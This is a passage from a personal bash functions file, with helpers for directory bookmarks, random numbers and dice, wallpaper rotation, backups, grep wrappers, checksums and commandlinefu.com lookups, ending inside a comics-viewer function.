elif [ "$1" == "-" ]
then
popd > /dev/null
dirs -p
else
# if $1 is in ~/.DirB and does not begin with ".", then go to it
# and then print out the directory stack
if [ -f ~/.DirB/"$1" -a "${1:0:1}" != "." ]
then
touch ~/.DirB/$1 ;
CD=pushd source ~/.DirB/$1 > /dev/null && dirs -p ;
# else just do a "pushd" and print out the directory stack
else
pushd "$1" > /dev/null && dirs -p
fi
fi
}
###### "r" - Remove a saved bookmark
function r() {
# if the bookmark file exists, remove it
if [ -e ~/.DirB/"$1" ]
then
rm ~/.DirB/"$1"
# if the bookmark file does not exist, complain and exit with a failing code
else
echo bash: DirB: ~/.DirB/"$1" does not exist >&2
false
fi
}
###### "s" - Save bookmark
function s() {
if [ -n "$2" ]
then
# build the bookmark file with the contents "$CD directory_path"
( echo '$CD ' \"$2\" > ~/.DirB/"$1" ;) > /dev/null 2>&1
else
# build the bookmark file with the contents "$CD directory_path"
( echo -n '$CD ' > ~/.DirB/"$1" ;
pwd | sed "s/ /\\\\ /g" >> ~/.DirB/"$1" ; ) > /dev/null 2>&1
fi
# if the bookmark could not be created, print an error message and
# exit with a failing return code
if [ $? != 0 ]
then
echo bash: DirB: ~/.DirB/"$1" could not be created >&2
false
fi
}
###### "sl" - Saved bookmark Listing
function sl() {
# if the "-l" argument is given, then do a long listing, passing any
# remaining arguments to "ls", printing in reverse time order. Pass the
# output to "less" to page the output if longer than a screen in length.
if [ "$1" == "-l" ]
then
shift
( cd ~/.DirB ;
ls -lt $* |
sed -e 's/ */ /g' -e '/^total/d' \
-e 's/^\(... \)\([0-9] \)/\1 \2/' |
cut -d ' ' -s -f6- | sed -e '/ [0-9] /s// &/' | less -FX ; )
# else print the short form of the bookmarks in reverse time order
else
( cd ~/.DirB ; ls -xt $* ; )
fi
}
###### simple bookmark system
function getBookmark() {
case "$1" in
video|vids|vid) echo "~/Videos" ;; # video, vids and vid are shortcuts to use with the functions below, the bookmarked directory is "~/videos"
images|img|pics|pictures) echo "~/Pictures";;
*) echo "" ;;
esac
}
###### list contents of a bookmarked dir without - going there: list vids
function list() {
dir=`getBookmark $1`
echo $dir
if [ -n "$dir" ]; then
ls "$dir"
fi
}
###### same as "list" but with details: llist vids
function llist() {
dir=`getBookmark $1`
echo $dir
if [ -n "$dir" ]; then
ll "$dir"
fi
}
###### Create box of '#' characters around given string
function box() { t="$1xxxx";c=${2:-#}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
# Download all videos in your Boxee queue Gets all videos in your boxee queue with a URL associated with them and attempts to download each using get_flash_videos
function boxeedl()
{
for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done
}
# Randomness #
#------------------------------------------////
###### This script models Brownian motion: random wanderings of tiny particles in fluid, as they are buffeted by random currents and collisions (colloquially known as "Drunkard's Walk")
function brownian()
{
PASSES=500 # Number of particle interactions / marbles.
ROWS=10 # Number of "collisions" (or horiz. peg rows).
RANGE=3 # 0 - 2 output range from $RANDOM.
POS=0 # Left/right position.
RANDOM=$$ # Seeds the random number generator from PID of script.
declare -a Slots # Array holding cumulative results of passes.
NUMSLOTS=21 # Number of slots at bottom of board.
function Initialize_Slots() { # Zero out all elements of the array.
for i in $( seq $NUMSLOTS )
do
Slots[$i]=0
done
echo # Blank line at beginning of run.
}
function Show_Slots() {
echo -n " "
for i in $( seq $NUMSLOTS ) # Pretty-print array elements.
do
printf "%3d" ${Slots[$i]} # Allot three spaces per result.
done
echo # Row of slots:
echo " |__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|"
echo " ^^"
echo # Note that if the count within any particular slot exceeds 99,
#+ it messes up the display.
# Running only(!) 500 passes usually avoids this.
}
function Move() { # Move one unit right / left, or stay put.
Move=$RANDOM # How random is $RANDOM? Well, let's see ...
let "Move %= RANGE" # Normalize into range of 0 - 2.
case "$Move" in
0 ) ;; # Do nothing, i.e., stay in place.
1 ) ((POS--));; # Left.
2 ) ((POS++));; # Right.
* ) echo -n "Error ";; # Anomaly! (Should never occur.)
esac
}
function Play() { # Single pass (inner loop).
i=0
while [ "$i" -lt "$ROWS" ] # One event per row.
do
Move
((i++));
done
SHIFT=11 # Why 11, and not 10?
let "POS += $SHIFT" # Shift "zero position" to center.
(( Slots[$POS]++ )) # DEBUG: echo $POS
}
function Run() { # Outer loop.
p=0
while [ "$p" -lt "$PASSES" ]
do
Play
(( p++ ))
POS=0 # Reset to zero. Why?
done
}
# main()
Initialize_Slots
Run
Show_Slots
}
###### flip a single coin 1000 times and show results
function coin-flip()
{
SEED=$"(head -1 /dev/urandom | od -N 1 | awk '{ print $2 }')"
RANDOM=$SEED
SIDES=2 # A coin has 2 sides.
MAXTHROWS=1000 # Increase this if you have nothing better to do with your time.
throw=0 # Throw count.
heads=0 # Must initialize counts to zero,
tails=0 # since an uninitialized variable is null, not zero.
function print_result()
{
echo
echo "heads = $heads"
echo "tails = $tails"
echo
}
function update_count()
{
case "$1" in
0) let "heads += 1";; # Since coin has no "zero", this corresponds to 1.
1) let "tails += 1";; # And this to 2, etc.
esac
}
echo
while [ "$throw" -lt "$MAXTHROWS" ]
do
let "coin1 = RANDOM % $SIDES"
update_count $coin1
let "throw += 1"
done
print_result
echo "Out of a total of "$MAXTHROWS" tosses."
echo "Change \"MAXTHROWS=1000\" if you want a different number of tosses."
}
###### roll a single die of "$1" sides, just once default number of sides is 6
function one-die()
{
function roll_die() {
# capture parameter
declare -i DIE_SIDES=$1
# check for die sides
if [ ! $DIE_SIDES -gt 0 ]; then
# default to 6
DIE_SIDES=6
fi
# echo to screen
echo $[ ( $RANDOM % $DIE_SIDES ) + 1 ]
}
# roll_die 10 # returns 1 to 10 as per 10 sides
# roll_die 2 # returns 1 or 2 as per 2 sides
roll_die "$1"
}
###### select random card from a deck
function pick-card()
{
# This is an example of choosing random elements of an array.
# Pick a card, any card.
Suites="Clubs
Diamonds
Hearts
Spades"
Denominations="2
3
4
5
6
7
8
9
10
Jack
Queen
King
Ace"
# Note variables spread over multiple lines.
suite=($Suites) # Read into array variable.
denomination=($Denominations)
num_suites=${#suite[*]} # Count how many elements.
num_denominations=${#denomination[*]}
echo -n "${denomination[$((RANDOM%num_denominations))]} of "
echo ${suite[$((RANDOM%num_suites))]}
# $bozo sh pick-cards.sh
# Jack of Clubs
# Thank you, "jipe," for pointing out this use of $RANDOM.
}
###### random number (out of whatever you input) example: random 10 = 4
function random() {
if [[ $1 == -l ]]; then
echo $(cat /dev/urandom | tr -cd '[:digit:]' | head -c ${2-5})
elif [[ $1 == -r ]]; then
echo $((RANDOM%${2}))
else echo $((RANDOM%${1}))
fi
}
###### create random blank files
function randomblanks()
{
for (( i = 0 ; i < $1; i++ )); do touch $RANDOM; done
}
###### random file
function randomfile() {
case $1 in
*first)
sed -n '1p' $HOME/.randomhistory
;;
*last)
sed -n '$p' $HOME/.randomhistory
;;
*n)
sed -n "${2}p" $HOME/.randomhistory
;;
*l)
wc -l $HOME/.randomhistory | gawk '{print $1}'
;;
*c)
rm $HOME/.randomhistory
;;
*help )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}randomfile${ewhite} | ${egreen}--first ${eiceblue}[get the first file in the history]\
\n${eorange}randomfile${ewhite} | ${egreen}--last ${eiceblue}[get the last file in the history]\
\n${eorange}randomfile${ewhite} | ${egreen}--n ${eiceblue}[get the NUMBERth file in the history]\
\n${eorange}randomfile${ewhite} | ${egreen}--l ${eiceblue}[get the number of files in history]\
\n${eorange}randomfile${ewhite} | ${egreen}--c ${eiceblue}[clear the history]\n" | column -t
tput sgr0
;;
*)
if [[ ! "$FILES" ]]; then
files=(*)
else files=("$FILES")
fi
n=${#files[@]}
RANDOMFILE="${files[RANDOM % n]}"
echo "$RANDOMFILE" >> $HOME/.randomhistory
if [[ ! "$@" ]]; then
echo "$RANDOMFILE"
else "$@" "$RANDOMFILE"
fi
;;
esac
}
###### pulls a random line from text file
function randomline()
{
# AUTHOR: David Ivan Stark (clyphox), [email protected]
if [ "$1" ];then #checking if we were passed a filename/variable
FileName="$1" #just an easier variable to work with
if [ ! -f "$FileName" ];then #check if it is a file
echo "Err: $FileName is not a file"
fi
#Count how many lines in the file
LineCount="$(wc -l "$FileName" | cut -f 1 -d ' ')"
#Dont continue if we have less than 1 line
if [ "$LineCount" -gt "1" ];then
#Test past.. selecting random line
TargetLine=$[ ( $RANDOM % $LineCount ) + 1 ]
Output="$(sed -n "${TargetLine}p" "$FileName")"
echo "$Output"
else
echo need a file with more than 1 line... cmon...
fi
else #seems we didnt get any input
echo "Please specify a text file"
fi
}
###### Generates neverending list of random numbers
function randomnumbers()
{
while :
do
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
done
}
###### Random wallpaper (add whatever wallpaper directory(s) you wish after 'BACKGROUND_DIRS')
# function randomwp()
# # for GNOME2
# {
# cat > "/tmp/randomwp.py" <<"End-of-message"
# #!/usr/bin/env python
# BACKGROUND_DIRS = ['/usr/share/backgrounds', '~/Pictures/Backgrounds']
# EXTENSIONS = ['jpeg', 'jpg', 'bmp', 'png', 'svg']
# import os, glob, random, itertools, gconf
# files = list(itertools.chain(*[[os.path.join(dirpath, name)
# for name in filenames]
# for dirpath, dirnames, filenames in
# itertools.chain(*[os.walk(os.path.expanduser(d))
# for d in BACKGROUND_DIRS])]))
# gconf.client_get_default().set_string(
# '/desktop/gnome/background/picture_filename',
# random.choice(files))
# End-of-message
# chmod +x "/tmp/randomwp.py"
# "/tmp/randomwp.py"
# /bin/rm "/tmp/randomwp.py"
# }
###### Random-Gnome3-Wallpaper.sh - for GNOME3 Script to randomly set desktop/gdm background - Requires: sudo-apt get install randomize-lines
function randomwp()
{
###### just add/remove as many directories as wish
find "/usr/share/backgrounds" "$HOME/Pictures/Backgrounds" -type f \( -name "*.bmp" -or -name "*.BMP" -or -name "*.jpeg" -or -name "*.JPEG" -or -name "*.jpg" -or -name "*.JPG" -or -name "*.png" -or -name "*.PNG" -or -name "*.svg" -or -name "*.SVG" \)|rl|head -n 1|xargs -I{} bash -c "gsettings set org.gnome.desktop.background picture-uri \"file://{}\""
}
###### Random-Gnome3-Wallpaper-2.sh - Script to randomly set desktop/gdm background
function randomwp_()
{
###### Directories Containing Pictures (to add more folders here, just "/path/to/your/folder")
arr[0]="/usr/share/backgrounds"
arr[1]="$HOME/Pictures/Backgrounds"
# arr[2]=
# arr[3]=
# arr[4]=
# arr[5]=
# arr[6]=
# arr[7]=
# arr[8]=
# arr[9]=
# arr[10]=
###### How many picture folders are there? (currently = 2)
rand=$[ $RANDOM % 2 ]
###### Command to select a random folder
DIR=`echo ${arr[$rand]}`
###### Command to select a random file from directory
# The *.* should select only files (ideally, pictures, if that's all that's inside)
PIC=$(ls $DIR/*.* | shuf -n1)
###### Command to set background Image
gsettings set org.gnome.desktop.background picture-uri "file://$PIC"
}
###### randomwpt automatic wallpaper switcher for GNOME2 - Usage: randomwpt "bash directory_name" "timeout_in_seconds" - for GNOME2 only
function randomwpt()
{
if [ $# -ne 2 ];then
echo -n "Usage: $0 directory_name timeout_in_seconds
Leave the directory name blank for Current Directory
For you lazy pal, I assume timeout as 5 sec and Directory as current
Do you want to accept this settings? (Y/n): ";
read response
if [[ "$response" =~ ^[^yY] ]];then
exit 0
fi
fi
function set_wallpaper() {
gconftool-2 -s /desktop/gnome/background/picture_options "centered" -t string;
gconftool-2 -s /desktop/gnome/background/picture_filename "$1" -t string;
}
TIMEOUT=${2-5};
WALL_DIR=${1-`pwd`};
echo "Timeout value is: $TIMEOUT";
echo "Directory is: $WALL_DIR";
echo
if [ ! -d "$WALL_DIR" ];then
echo "The Directory Specified is invalid..";
exit 1;
fi
filelst="$(find "$WALL_DIR" -type f -name '*.jpg' -o -name '*.png')";
if [ -z "$filelst" ];then
echo "No Suitable files found in this location: $WALL_DIR";
exit 1;
fi
while true;do
filename=`echo "$filelst" | shuf -n 1`
set_wallpaper "$filename";
sleep $TIMEOUT;
done
}
###### rename a file with a random name The function will rename files but maintain their extensions. BUG: If a file doesn't have an extension it will end up with a dot at the end of the name. The parameter '8' for pwgen controls the length of filenames - eight random characters.
function rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done }
###### roll a single die 1000 times and show results
function roll-die()
{
SEED=$"(head -1 /dev/urandom | od -N 1 | awk '{ print $2 }')"
RANDOM=$SEED
PIPS=6 # A die has 6 pips.
MAXTHROWS=1000 # Increase this if you have nothing better to do with your time.
throw=0 # Throw count.
ones=0 # Must initialize counts to zero,
twos=0 #+ since an uninitialized variable is null, not zero.
threes=0
fours=0
fives=0
sixes=0
function print_result()
{
echo
echo "ones = $ones"
echo "twos = $twos"
echo "threes = $threes"
echo "fours = $fours"
echo "fives = $fives"
echo "sixes = $sixes"
echo
}
function update_count()
{
case "$1" in
0) let "ones += 1";; # Since die has no "zero", this corresponds to 1.
1) let "twos += 1";; # And this to 2, etc.
2) let "threes += 1";;
3) let "fours += 1";;
4) let "fives += 1";;
5) let "sixes += 1";;
esac
}
echo
while [ "$throw" -lt "$MAXTHROWS" ]
do
let "die1 = RANDOM % $PIPS"
update_count $die1
let "throw += 1"
done
print_result
echo "Out of a total of "$MAXTHROWS" rolls."
echo "Change \"MAXTHROWS=1000\" if you want a different number of rolls."
}
###### Backup a file with a date-time stamp - Usage "bu filename.txt"
function bu() { cp $1 ${1}-`date +%Y%m%d%H%M`.backup ; }
###### buf Backup a file with a date-time stamp
function buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")}; }
###### Extract a file and cd into the new folder
function build()
{
extract "$1" && cd
}
###### Needs fixing
function build_() {
args=($@)
args[0]=
reset
tcc -o $1 ${1}.c ${args[@]}
if [ $? -eq 0 ]; then
./$1;
fi
}
###### Buffer in order to avoir mistakes with redirections that empty your files
function buffer() { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
###### Generate a case-insensitive pattern
function casepat() { perl -pe 's/([a-zA-Z])/sprintf("[%s%s]",uc($1),$1)/ge' ; }
###### Concatenate PDF files - e.g. cat_pdfs -o combined.pdf file1.pdf file2.pdf file3.pdf
function cat_pdfs() { python '/System/Library/Automator/Combine PDF Pages.action/Contents/Resources/join.py' "$@" ; }
# Copy & paste files and folders from the command line
#------------------------------------------////
###### Usage: "ccopy FILE/FOLDER#1 FILE/FOLDER#2 FILE/FOLDER#3 FILE/FOLDER#4 ..." Note: You must 'cd' into the folder first ("whatever" works, while "~/myfolder/whatever" doesn't)
function ccopy() { for i in $*; do cp -a $i /tmp/ccopy.$i; done }
alias cpaste="ls -d /tmp/ccopy* | sed 's|[^\.]*.\.||' | xargs -I % mv /tmp/ccopy.% ./%"
# Power cd (add some of useful features to 'cd') #
#------------------------------------------////
###### Move efficiently between directories. - This command adds a couple of extra features to cd, without affecting normal use. CDPATH use is also unaffected. It introduces and environment variable CDDIR which is used as an alternate home directory. `export CDDIR="$HOME/work"` and `alias cdd="CDDIR=$(pwd)"` must also be uncommented/enabled for this to work
function cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -- "$CDDIR"; fi; command cd "$@"; }
alias cdd="CDDIR=$(pwd)"
###### Print working directory after a cd.
# function cd() {
# if [[ $@ == '-' ]]; then
# builtin cd "$@" > /dev/null # We'll handle pwd.
# else
# builtin cd "$@"
# fi
# echo -e " \033[1;30m"`pwd`"\033[0m"
# }
###### # Change directory and list files
function cds() {
# only change directory if a directory is specified
[ -n "${1}" ] && cd $1
lls
}
# Grep, grep, grep #
#------------------------------------------////
###### randomize GNU grep's colors 31-36 excluding black and white.
function cgrep() { GREP_COLOR="1;3$((RANDOM%6+1))" grep --color=always "$@" ; }
###### to grep through files found by find, e.g. grepf pattern '*.c' - note that 'grep -r pattern dir_name' is an alternative if want all files
function grepfind() { find . -type f -name "$2" -print0 | xargs -0 grep "$1" ; }
###### to grep through the /usr/include directory
function grepincl() { (cd /usr/include; find . -type f -name '*.h' -print0 | xargs -0 grep "$1" ) ; }
###### hgrep, hgrepl (I use these so much I miss them not being on my other machines and should copy them over)
function hgrepl() {
history | sed s/.*\ \ // | grep $@
}
###### hgrep
function hgrep() {
history | sed s/.*\ \ // | grep $@ | tail -n 30
}
###### hhgrep
function hhgrep() {
history | egrep "$@" | egrep -v "hgrep $@"
}
###### Analyze your bash usage
function check_()
{
cut -f1 -d" " .bash_history | sort | uniq -c | sort -nr | head -n 30
}
####### Checksum
function checksum()
{
action=$1
shift
if [[ ( $action == "-c" || $action == "--check" ) && $1 == *.* ]]; then
type="${1/*./}"
else type=$1
shift
fi
case $type in
md5 )
checktool=md5sum
;;
sha1 | sha )
checktool=sha1sum
;;
sha224 )
checktool=sha224sum
;;
sha256 )
checktool=sha256sum
;;
sha384 )
checktool=sha384sum
;;
sha512 )
checktool=sha512sum
;;
esac
case $action in
-g | --generate )
for file in "${@}"; do
$checktool "${file}" > "${file}".$type
done
;;
-c | --check )
for file in "${@}"; do
if [[ "${file}" == *.$type ]]; then
$checktool --check "${file}"
else $checktool --check "${file}".$type
fi
done
;;
-h | --help )
;;
esac
}
###### MD5 checksum
function md5()
{
echo -n $@ | md5sum
}
###### Encode a string in md5 hash of 32 characters
# You can short the length with the second parameter.
# @param string $1 string (required)
# @param integer $2 length (option, default: 32)
# @return string
# @example: md5 "Hello World" 8
function md5_() {
local length=${2:-32}
local string=$( echo "$1" | md5sum | awk '{ print $1 }' )
echo ${string:0:${length}}
}
###### cifsmount Mount CIFS shares; pseudoreplacement for smbmount - $1 = remote share name in form of //server/share $2 = local mount point
function cifsmount() { sudo mount -t cifs -o username=${USER},uid=${UID},gid=${GROUPS} $1 $2; }
###### cifsumount unmount CIFS shares; pseudoreplacement for smbmount
function cifsumount() { sudo umount $1; }
# Commandlinefu.com and Shell-fu.org stuff #
#------------------------------------------////
###### Search commandlinefu.com from the command line- using the API - Usage: cmdfu hello world
function cmdfu() { curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext" --silent | sed "s/\(^#.*\)/\x1b[32m\1\x1b[0m/g" | less -R ; }
###### cmdfu
# function cmdfu() { curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
###### automatically downloads all commands from http://www.commandlinefu.com into a single text file
alias cmdfu_dl='mkdir /tmp/commandlinefu && cd /tmp/commandlinefu && curl -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] && ls -1 | sort -n | while read mork ; do cat $mork >> commandlinefu.txt ; ls -ald $mork; done && mv commandlinefu.txt $HOME && rm -rf /tmp/commandlinefu'
###### find a CommandlineFu users average command rating
function cmdfu_rating()
{
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/class="num-votes"/{S+=$2; I++}END{print S/I}'
}
###### cmdfu_rating_
function cmdfu_rating_()
{
curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/class="num-votes"/{S+=$2; I++}END{print S/I}'
}
##### key binding to search commandlinefu.com
function ds_() { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST');"`; B64=`echo -n $ST| openssl enc -base64`; curl -s "http://www.commandlinefu.com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ; bind '"\C-k"':"\"ds\C-m\""
###### command examples from shell-fu
function examples() {
lynx -width=$COLUMNS -nonumbers -dump "http://www.shell-fu.org/lister.php?tag=$1" | \
sed -n '/^[a-zA-Z]/,$p' | egrep -v '^http|^javas|View Comm|HIDE|] \+|to Share|^ +\*|^ +[HV][a-z]* l|^ .*efu.*ep.*!$' | \
sed -e '/^ *__*/N;s/\n$//g' | less -r;
}
###### fuman, an alternative to the 'man' command that shows commandlinefu.com examples
function fuman() {
lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r;
}
###### Random Commandlinefu command
function fur() { curl -sL 'http://www.commandlinefu.com/commands/random/plaintext' | grep -v "^# commandlinefu" ; }
###### Prepare a commandlinefu command
function goclf()
{
type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo
}
###### What package does that command come from?
function cmdpkg() { PACKAGE=$(dpkg -S $(which $1) | cut -d':' -f1); echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}" ;}
# Sets custom Catalog Number ID3 tag for all MP3 files in current directory
#------------------------------------------////
###### $1 = catalog number
function cn() { for i in *.mp3; do id3v2 --TXXX "Catalog Number":"$1" "$i"; done; }
# Quick reference color charts & color stuff #
#------------------------------------------////
###### shows a gui color chart
#function color-picker()
#{
# # for GNOME2 only - sudo apt-get install python-gtkmozembed xulrunner-2.0
# # (Packete gibt es nicht mehr)
# # also requires: "~/.gnome2/nemo-scripts/.colorchart/view.html"
# echo "When you are finished, press "Control C" to continue..."
#cat > "/tmp/color-picker.py" <<"End-of-message"
##!/usr/bin/python
#import os
#import pygtk
#pygtk.require('2.0')
#import gtk
#import gtkmozembed
#homedir = os.path.expanduser('~')
#try:
# from win32com.shell import shellcon, shell
# homedir = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
#except ImportError:
# homedir = os.path.expanduser("~/.gnome2/nemo-scripts/.colorchart/view.html")
#class ColorChart:
# def __init__(self):
# self.moz = gtkmozembed.MozEmbed()
# box = gtk.VBox(False,0)
# win = gtk.Window()
# win.add(box)
# hbox = gtk.HBox(False,0)
# box.pack_start(hbox,False,False)
# hbox.show()
# box.pack_start(self.moz,True,True,0)
# self.moz.show()
# self.moz.load_url(homedir)
# self.moz.set_size_request(650,550)
# title=self.moz.get_title()
# win.set_title("RGB/HEX Color Picker")
# win.show_all()
#if __name__ == "__main__":
# ColorChart()
# gtk.main()
#End-of-message
# chmod +x "/tmp/color-picker-.py"
# /usr/bin/python "/tmp/color-picker.py"
# /bin/rm "/tmp/color-picker.py"
#}
###### takes a name of a color and some text and then echoes out the text in the named color - Usage: colorize_text "color" "whatever text"
function colorize-text()
{
b='[0;30m'
# Implement command-line options
while getopts "nr" opt
do
case $opt in
n ) o='-n' ;;
r ) b='' ;;
esac
done
shift $(($OPTIND - 1))
# Set variables
col=$1
shift
text="$*"
# Set a to console color code
case $col in
'black' ) a='[0;30m' ;;
'blue' ) a='[0;34m' ;;
'green' ) a='[0;32m' ;;
'cyan' ) a='[0;36m' ;;
'red' ) a='[0;31m' ;;
'purple' ) a='[0;35m' ;;
'brown' ) a='[0;33m' ;;
'ltgray' ) a='[0;37m' ;;
'white' ) a='[1;30m' ;;
'ltblue' ) a='[1;34m' ;;
'ltgreen') a='[1;32m' ;;
'ltcyan' ) a='[1;36m' ;;
'ltred' ) a='[1;31m' ;;
'pink' ) a='[1;35m' ;;
'yellow' ) a='[1;33m' ;;
'gray' ) a='[1;37m' ;;
esac
# Display text in designated color, no newline
echo -en "\033$a$text"
# If 'b' switch not on, restore color to black
if [ -n $b ]
then
echo -en "\033$b"
fi
# If 'n' switch on, do not display final newline
# otherwise output newline
echo $o
}
###### shows the colors in a kewl way...partially stolen from HH
function colors()
{
# Display ANSI colours.
esc="\033["
echo -e "\t 40\t 41\t 42\t 43\t 44 45\t46\t 47"
for fore in 30 31 32 33 34 35 36 37; do
line1="$fore "
line2=" "
for back in 40 41 42 43 44 45 46 47; do
line1="${line1}${esc}${back};${fore}m Normal ${esc}0m"
line2="${line2}${esc}${back};${fore};1m Bold ${esc}0m"
done
echo -e "$line1\n$line2"
done
echo ""
echo "# Example:"
echo "#"
echo "# Type a Blinkin TJEENARE in Swedens colours (Yellow on Blue)"
echo "#"
echo "# ESC"
echo "# | CD"
echo "# | | CD2"
echo "# | | | FG"
echo "# | | | | BG + m"
echo "# | | | | | END-CD"
echo "# | | | | | |"
echo "# echo -e '\033[1;5;33;44mTJEENARE\033[0m'"
echo "#"
echo "# Sedika Signing off for now ;->"
}
###### displays all 256 possible background colors, using ANSI escape sequences. - used in ABS Guide with permission.
function colors2()
{
T1=8
T2=6
T3=36
offset=0
for num1 in {0..7}
do {
for num2 in {0,1}
do {
shownum=`echo "$offset + $T1 * ${num2} + $num1" | bc`
echo -en "\E[0;48;5;${shownum}m color ${shownum} \E[0m"
}
done
echo
}
done
offset=16
for num1 in {0..5}
do {
for num2 in {0..5}
do {
for num3 in {0..5}
do {
shownum=`echo "$offset + $T2 * ${num3} \
+ $num2 + $T3 * ${num1}" | bc`
echo -en "\E[0;48;5;${shownum}m color ${shownum} \E[0m"
}
done
echo
}
done
}
done
offset=232
for num1 in {0..23}
do {
shownum=`expr $offset + $num1`
echo -en "\E[0;48;5;${shownum}m ${shownum}\E[0m"
}
done
echo
}
###### print all 256 colors for testing TERM or for a quick reference - show numerical values for each of the 256 colors in bash
function colors2nums()
{
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
}
###### replaces a color in PDF document (useful for removing dark background for printing) - usage: remove_color input.pdf output.pdf
function uncolorpdf()
{
convert -density 300 "$1" -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" "$2"
}
####### View daily comics (set on Viewnior as image - viewer...can use 'eog' or whatever instead)
function comics() {
# xkcd
XKCD_FILE="/tmp/xkcd"
